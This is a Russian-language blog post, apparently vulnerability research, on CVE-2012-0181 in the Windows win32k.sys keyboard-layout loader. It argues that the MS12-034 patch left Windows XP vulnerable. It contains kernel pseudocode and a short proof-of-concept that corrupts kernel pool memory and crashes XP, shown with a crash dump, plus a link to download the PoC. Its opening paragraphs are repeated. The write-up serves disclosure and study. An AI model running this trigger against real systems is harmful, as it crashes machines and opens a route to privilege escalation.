В начале этого месяца Microsoft выпустила бюллетень безопасности MS12-034, который сообщает о целых 10-ти совершенно разношерстных уязвимостях, среди которых присутствует даже старая и давно известная уязвимость в обработке TTF шрифтов (CVE-2011-3402). Разнообразие упомянутых в бюллетене продуктов объясняется тем, что очень похожий уязвимый код использовался в разных бинарных модулях.
Помимо всего прочего закрыли так же и уязвимость CVE-2012-0181 – повышение привилегий в коде win32k.sys, который отвечает за загрузку клавиатурных раскладок. О странной ситуации с этой уязвимостью и неадекватной реакции вендора я хочу рассказать в данной заметке.
В качестве значения параметра pwszKLID она принимает идентификатор раскладки, которую следует загрузить. Этой функции, в свою очередь, соответствует системный вызов win32k!NtUserLoadKeyboardLayoutEx(), который, для Windows XP, выглядит следующим образом:
Так как помимо идентификаторов загружаемой раскладки win32k!NtUserLoadKeyboardLayoutEx() принимает параметр Handle (дескриптор файла) – это позволяет простым образом загрузить произвольный файл клавиатурной раскладки без необходимости создавать каких-либо ключей реестра в HKEY_LOCAL_MACHINE (собственно, одно из необходимых условий для Local Privileges Escalation из-под низко привилегированной учётной записи). Так же стоит обратить внимание на параметр offTable. Младшие 16 бит этой переменной используются как RVA адрес, по которому в PE-образе файла клавиатурной раскладки находится структура _KBDTABLES (с неё и начинается описание данных раскладки), старшие 16 бит – это аналогичный RVA адрес структуры _KBDNLSTABLES.
Основная работа по чтению и обработке данных из файла клавиатурной раскладки происходит в функции win32k!ReadLayoutFile(), стек вызовов к которой выглядит следующим образом:
В данной функции реализован небольшой PE-загрузчик, в коде которого и кроется целый ряд уязвимостей. Псевдокод данной функции для Windows XP приведён ниже:
Макрос FIXUP_PTR() используется для реализации базовых поправок указателей:
Согласно информации от исследователей из Core Security, нашедших уязвимость CVE-2012-0181, она является, вроде бы как, переполнением хипа, что действительно так для Windows 2003 Server и старше. Однако, для Windows XP описание эксплуатации этой уязвимости (как и сама уязвимость, вместе с заплаткой к ней) не совсем соответствуют реальной ситуации. Попробуем разобраться, в чём же дело.
Как следует из скудного описания – CVE-2012-0181 позволяет перезаписать 1, 2 или 3 байта за границей выделенного участка пула ядра из-за некорректной проверки границ значения offTable. В ответ на эту уязвимость Microsoft выпустила патч, в котором реализовано:
Однако, не смотря на то, что в описании CVE-2012-0181 Windows XP явно фигурирует как vulnerable target – на ней так и не реализовали должной проверки значения offTable! Благодаря такому упущению пользователи Windows XP, фактически, остались уязвимы даже не смотря на то, что патч запретил загрузку клавиатурных раскладок из произвольных файлов. Если честно, причина столь идиотской реализации патча является загадкой и для меня самого, но можно предположить, что дело в следующем:
Так это или нет – но в настоящий момент ядро Windows XP действительно содержит почти-0day уязвимость, PoC код для которой выглядит следующим образом:
Исполнение этого кода приводит к аварийному завершению работы системы в следствии обращения по недействительному адресу памяти:
В связи с тем, что из-за специфики уязвимости разработка стабильного reliable эксплойта под неё является достаточно сложной задачей (но не факт что принципиально не решаемой) – я выкладываю в широкий доступ 0day PoC для изучения всеми желающими.
http://dl.dropbox.com/u/22903093/win32k_KeyboardLayout_expl-18.05.12.rar
Помимо всего прочего закрыли так же и уязвимость CVE-2012-0181 – повышение привилегий в коде win32k.sys, который отвечает за загрузку клавиатурных раскладок. О странной ситуации с этой уязвимостью и неадекватной реакции вендора я хочу рассказать в данной заметке.
Немного истории
Реализация поддержки клавиатурных раскладок в Windows, как и большая часть кода в win32k.sys, содержит в себе целую массу сомнительных решений. Их корни, вероятно, тянутся к тем сильным архитектурным изменениям, которые претерпевала графическая подсистема Windows во времена ранних версий NT. Клавиатурная раскладка представляет собой обыкновенный PE-файл, в секции .data которого хранится вся необходимая информация. Стандартные раскладки находятся в директории %SystemRoot%\system32, с префиксами KBD* (например – KBDUS.DLL). Полный список зарегистрированных раскладок хранится в ключе реестра HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\{LAYOUT_ID}, где {LAYOUT_ID} – уникальный идентификатор конкретной раскладки. Их загрузка осуществляется с помощью функции LoadKeyboardLayout():HKL WINAPI LoadKeyboardLayout( __in LPCTSTR pwszKLID, __in UINT Flags );
В качестве значения параметра pwszKLID она принимает идентификатор раскладки, которую следует загрузить. Этой функции, в свою очередь, соответствует системный вызов win32k!NtUserLoadKeyboardLayoutEx(), который, для Windows XP, выглядит следующим образом:
HKL WINAPI NtUserLoadKeyboardLayoutEx(
HANDLE Handle,
DWORD offTable,
PUNICODE_STRING puszKeyboardName,
HKL hKL,
PUNICODE_STRING puszKLID,
DWORD dwKLID,
UINT Flags
);
Так как помимо идентификаторов загружаемой раскладки win32k!NtUserLoadKeyboardLayoutEx() принимает параметр Handle (дескриптор файла) – это позволяет простым образом загрузить произвольный файл клавиатурной раскладки без необходимости создавать каких-либо ключей реестра в HKEY_LOCAL_MACHINE (собственно, одно из необходимых условий для Local Privileges Escalation из-под низко привилегированной учётной записи). Так же стоит обратить внимание на параметр offTable. Младшие 16 бит этой переменной используются как RVA адрес, по которому в PE-образе файла клавиатурной раскладки находится структура _KBDTABLES (с неё и начинается описание данных раскладки), старшие 16 бит – это аналогичный RVA адрес структуры _KBDNLSTABLES.
Основная работа по чтению и обработке данных из файла клавиатурной раскладки происходит в функции win32k!ReadLayoutFile(), стек вызовов к которой выглядит следующим образом:
ChildEBP RetAddr f877990c bf881e25 win32k!ReadLayoutFile f877992c bf8b9574 win32k!LoadKeyboardLayoutFile+0x6a f87799b4 bf92a002 win32k!xxxLoadKeyboardLayoutEx+0x1b1 f8779d40 8053d6f8 win32k!NtUserLoadKeyboardLayoutEx+0x164 f8779d40 7c90e514 nt!KiFastCallEntry+0xf8
В данной функции реализован небольшой PE-загрузчик, в коде которого и кроется целый ряд уязвимостей. Псевдокод данной функции для Windows XP приведён ниже:
1 PKBDTABLES ReadLayoutFile( 2 PKBDFILE pkf, 3 HANDLE hFile, 4 UINT offTable, 5 PKBDNLSTABLES *ppNlsTables) 6 { 7 // ... 8 9 // Смещение _KBDNLSTABLES 10 UINT offNlsTable = HIWORD(offTable); 11 12 // Смещение _KBDTABLES 13 offTable &= 0x0000FFFF; 14 15 /* 16 Здесь происходит чтение содержимого файла. 17 ... 18 */ 19 20 NumberOfSubsections = NtHeader->FileHeader.NumberOfSections; 21 22 OffsetToSectionTable = sizeof(ULONG) + 23 sizeof(IMAGE_FILE_HEADER) + 24 NtHeader->FileHeader.SizeOfOptionalHeader; 25 26 SectionTableEntry = (PIMAGE_SECTION_HEADER)((PBYTE)NtHeader + 27 OffsetToSectionTable); 28 29 // Поиск секции данных. 30 while (NumberOfSubsections > 0) 31 { 32 if (strcmp(SectionTableEntry->Name, ".data") == 0) 33 break; 34 35 SectionTableEntry++; 36 NumberOfSubsections--; 37 } 38 39 if (NumberOfSubsections == 0) 40 { 41 goto exitread; 42 } 43 44 // We found the section, now compute starting offset and the table size. 45 offTable -= SectionTableEntry->VirtualAddress; 46 dwDataSize = SectionTableEntry->Misc.VirtualSize; 47 48 pBaseDst = UserAllocPool(dwDataSize, TAG_KBDTABLE); 49 if (pBaseDst != NULL) 50 { 51 VK_TO_WCHAR_TABLE *pVkToWcharTable; 52 VSC_LPWSTR *pKeyName; 53 LPWSTR *lpDeadKey; 54 55 pkf->hBase = (HANDLE)pBaseDst; 56 RtlMoveMemory(pBaseDst, (PBYTE)DosHdr + 57 SectionTableEntry->PointerToRawData, dwDataSize); 58 59 if (ISTS()) { 60 pkf->Size = dwDataSize; // For shadow hotkey processing 61 } 62 63 // Compute table address and fixup pointers in table. 64 pktNew = (PKBDTABLES)(pBaseDst + offTable); 65 66 // The address in the data section has the virtual address 67 // added in, so we need to adjust the fixup pointer to 68 // compensate. 69 pBaseVirt = pBaseDst - SectionTableEntry->VirtualAddress; 70 71 FIXUP_PTR(pktNew->pCharModifiers, pBaseVirt); 72 FIXUP_PTR(pktNew->pCharModifiers->pVkToBit, pBaseVirt); 73 74 if (FIXUP_PTR(pktNew->pVkToWcharTable, pBaseVirt)) 75 { 76 for (pVkToWcharTable = pktNew->pVkToWcharTable; 77 pVkToWcharTable->pVkToWchars != NULL; pVkToWcharTable++) 78 FIXUP_PTR(pVkToWcharTable->pVkToWchars, pBaseVirt); 79 } 80 81 /* 82 Здесь пропущено множество вызовов FIXUP_PTR() для внутренних структур 83 клавиатурной раскладки. 84 ... 85 */ 86 87 if (offNlsTable) 88 { 89 // Compute table address and fixup pointers in table. 90 offNlsTable -= SectionTableEntry->VirtualAddress; 91 pknlstNew = (PKBDNLSTABLES)(pBaseDst + offNlsTable); 92 93 // Fixup the address. 94 FIXUP_PTR(pknlstNew->pVkToF, pBaseVirt); 95 FIXUP_PTR(pknlstNew->pusMouseVKey, pBaseVirt); 96 97 // Save the pointer. 98 *ppNlsTables = pknlstNew; 99 100 // ... 101 } 102 } 103 104 // ... 105 }
Макрос FIXUP_PTR() используется для реализации базовых поправок указателей:
#define FIXUP_PTR (p, pBase) ((p) ? (p) = (PVOID)((PBYTE)pBase + (WORD)(ULONG_PTR)(p)) : 0)
Уязвимость
Как видно, какие либо проверки корректности PE-образа и находящихся в нём структур – отсутствуют. Приведенный код функции win32k!ReadLayoutFile() отличается от такового в более поздних версиях операционной системы. Начиная с Windows Server 2003 в нём таки добавились проверки структуры PE файла на предмет корректности, а так же проверка упомянутых выше смещений, берущихся из параметра offTable. Кроме того, начиная с Windows Vista в функции win32k!xxxLoadKeyboardLayoutEx() появились проверки на предмет того, находится ли файл, дескриптор которого передаётся в win32k!NtUserLoadKeyboardLayoutEx(), в директории %SystemRoot%\system32. Благодаря этому, по замыслу вендора, любые уязвимости при обработке клавиатурных раскладок на NT 6.x (включая CVE-2010-2743, которую использовал червь Stuxnet) могут быть полезны разве что в контексте Local Admin to Ring 0 атак, но не для «настоящего» повышения привилегий.Согласно информации от исследователей из Core Security, нашедших уязвимость CVE-2012-0181, она является, вроде бы как, переполнением хипа, что действительно так для Windows 2003 Server и старше. Однако, для Windows XP описание эксплуатации этой уязвимости (как и сама уязвимость, вместе с заплаткой к ней) не совсем соответствуют реальной ситуации. Попробуем разобраться, в чём же дело.
Как следует из скудного описания – CVE-2012-0181 позволяет перезаписать 1, 2 или 3 байта за границей выделенного участка пула ядра из-за некорректной проверки границ значения offTable. В ответ на эту уязвимость Microsoft выпустила патч, в котором реализовано:
- Корректная проверка значения offTable для всех версий Windows, начиная с Server 2003.
- На XP и Server 2003 был перенесён (см. «Keyboard layout behavior introduced with Windows Vista conditionally applied down-level») уже упомянутый код из более поздних версий Windows, который разрешает загружать клавиатурные раскладки только из тех файлов, которые хранятся директории %SystemRoot%\system32. В исправленном после выхода MS12-034 модуле win32k.sys функция win32k!xxxLoadKeyboardLayoutEx() вызывается через специальную обёртку win32k!xxxSafeLoadKeyboardLayoutEx(), которая так же вызывает функцию win32k!ConvertHandleAndVerifyLoc (), где и проверяется путь к файлу.
Однако, не смотря на то, что в описании CVE-2012-0181 Windows XP явно фигурирует как vulnerable target – на ней так и не реализовали должной проверки значения offTable! Благодаря такому упущению пользователи Windows XP, фактически, остались уязвимы даже не смотря на то, что патч запретил загрузку клавиатурных раскладок из произвольных файлов. Если честно, причина столь идиотской реализации патча является загадкой и для меня самого, но можно предположить, что дело в следующем:
- Информация об уязвимости и её эксплуатации, которая содержится во writeup-е от Core Security, касается, предположительно, только версий Windows начиная с Server 2003. Слово «предположительно» в данном случае я употребил потому, что вместо внятного описания уязвимого фрагмента кода с приведением дизассемблерного листинга Core Security привёл только общие слова.
- Microsoft, получив от Core Security описание уязвимости и PoC-код к ней, не смогли воспроизвести проблему на Windows XP, и вместо полного аудита кода проблемных функций на всех платформах ограничились быстрыми и грязными хаками.
Так это или нет – но в настоящий момент ядро Windows XP действительно содержит почти-0day уязвимость, PoC код для которой выглядит следующим образом:
1 /* 2 Когда offTable равен 0 -- смещение _KBDTABLES, которое используется 3 в win32k!ReadLayoutFile(), после вычитания из offTable виртуального адреса 4 секции данных равняется 0xfffff000: 5 6 win32k!ReadLayoutFile+0x6f (*): 7 mov esi,dword ptr [ebp+10h] ; offTable value 8 sub esi,dword ptr [eax+0Ch] ; Section RVA, 0x1000 9 10 Из-за этого происходит перезапись данных за границами выделенного участка пула, 11 при попытке применения базовых поправок к указателями внутри структур _KBDTABLES 12 и др. 13 14 ---- 15 (*) Версия win32k.sys -- 5.1.2600.6206 16 */ 17 18 HANDLE hFile = CreateFile( 19 "C:\\Windows\\system32\\KBDUS.DLL", 20 GENERIC_READ, FILE_SHARE_READ, 21 NULL, 22 OPEN_EXISTING, 23 0, NULL 24 ); 25 26 HKL hKl = GetKeyboardLayout( 27 GetWindowThreadProcessId(GetForegroundWindow(), GetCurrentProcessId()) 28 ); 29 30 DWORD dwId = 0x00031337; 31 UNICODE_STRING usLayoutName, usLayoutId; 32 WCHAR Id[20]; 33 34 wsprintfW(Id, L"%.8x", dwId); 35 RtlInitUnicodeString(&usLayoutName, NULL); 36 RtlInitUnicodeString(&usLayoutId, Id); 37 38 NtUserLoadKeyboardLayoutEx( 39 hFile, 40 0, // <-- offTable 41 &usLayoutName, 42 hKl, 43 &usLayoutId, dwId, 44 0x101 45 );
Исполнение этого кода приводит к аварийному завершению работы системы в следствии обращения по недействительному адресу памяти:
******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: e10650d3, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: bf881fb6, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000001, (reserved) Debugging Details: ------------------ READ_ADDRESS: e10650d3 Paged pool FAULTING_IP: win32k!ReadLayoutFile+183 bf881fb6 803800 cmp byte ptr [eax],0 MM_INTERNAL_CODE: 1 IMAGE_NAME: win32k.sys DEBUG_FLR_IMAGE_TIMESTAMP: 4f85831a MODULE_NAME: win32k FAULTING_MODULE: bf800000 win32k DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: win32k_Keyboard TRAP_FRAME: b191c884 -- (.trap 0xffffffffb191c884) ErrCode = 00000000 eax=e10650d3 ebx=e105b008 ecx=e105b008 edx=00000000 esi=e106ac08 edi=e105c008 eip=bf881fb6 esp=b191c8f8 ebp=b191c90c iopl=0 nv up ei ng nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010282 win32k!ReadLayoutFile+0x183: bf881fb6 803800 cmp byte ptr [eax],0 ds:0023:e10650d3=?? Resetting default scope LAST_CONTROL_TRANSFER: from 804f7b8b to 80527c24 STACK_TEXT: b191c3c0 804f7b8b 00000003 e10650d3 00000000 nt!RtlpBreakWithStatusInstruction b191c40c 804f8778 00000003 00000000 c0708328 nt!KiBugCheckDebugBreak+0x19 b191c7ec 804f8ca3 00000050 e10650d3 00000000 nt!KeBugCheck2+0x574 b191c80c 8051cc4f 00000050 e10650d3 00000000 nt!KeBugCheckEx+0x1b b191c86c 805405f4 00000000 e10650d3 00000000 nt!MmAccessFault+0x8e7 b191c86c bf881fb6 00000000 e10650d3 00000000 nt!KiTrap0E+0xcc b191c90c bf881e25 e208f8e8 e10611c8 e105c008 win32k!ReadLayoutFile+0x183 b191c92c bf8b9574 800003a4 00000000 00000000 win32k!LoadKeyboardLayoutFile+0x6a b191c9b4 bf92a002 82273e08 800003a4 04090409 win32k!xxxLoadKeyboardLayoutEx+0x1b1 b191c9f0 bf8b91b5 82273e08 0000003c 04090409 win32k!xxxSafeLoadKeyboardLayoutEx+0xa9 b191cd40 8053d6f8 0000003c 00000000 0012fec8 win32k!NtUserLoadKeyboardLayoutEx+0x164 b191cd40 004011c4 0000003c 00000000 0012fec8 nt!KiFastCallEntry+0xf8 0012ff7c 004015de 00000001 00363c48 00362e80 win32k_KeyboardLayout_expl!NtUserLoadKeyboardLayoutEx+0x14 0012ffc0 7c817077 00330036 00360038 7ffdd000 win32k_KeyboardLayout_expl!__tmainCRTStartup+0x10f 0012fff0 00000000 00401726 00000000 78746341 kernel32!BaseProcessStart+0x23
Эксплуатация
Таким образом, уязвимость относится к классу Pool Corruption, и позволяет перезаписать некоторое количество указателей, которые находятся в границах от 0 до 0xFFFF относительно участка пула, выделенного под структуры клавиатурной раскладки (обычно, их размер составляет несколько Кб). Однако, на практике эксплуатация данной уязвимости сложнее, чем в случае с обычным переполнением. Данные, которыми перезаписывается указатель за границами участка пула, не контролируются атакующим непосредственно, а являются производными от макроса FIXUP_PTR() и зависят как от оригинального содержимого перезаписываемой памяти, так и от адреса участка пула, выделенного под данные клавиатурной раскладки (см. pBaseVirt в листинге win32k!ReadLayoutFile).В связи с тем, что из-за специфики уязвимости разработка стабильного reliable эксплойта под неё является достаточно сложной задачей (но не факт что принципиально не решаемой) – я выкладываю в широкий доступ 0day PoC для изучения всеми желающими.
http://dl.dropbox.com/u/22903093/win32k_KeyboardLayout_expl-18.05.12.rar












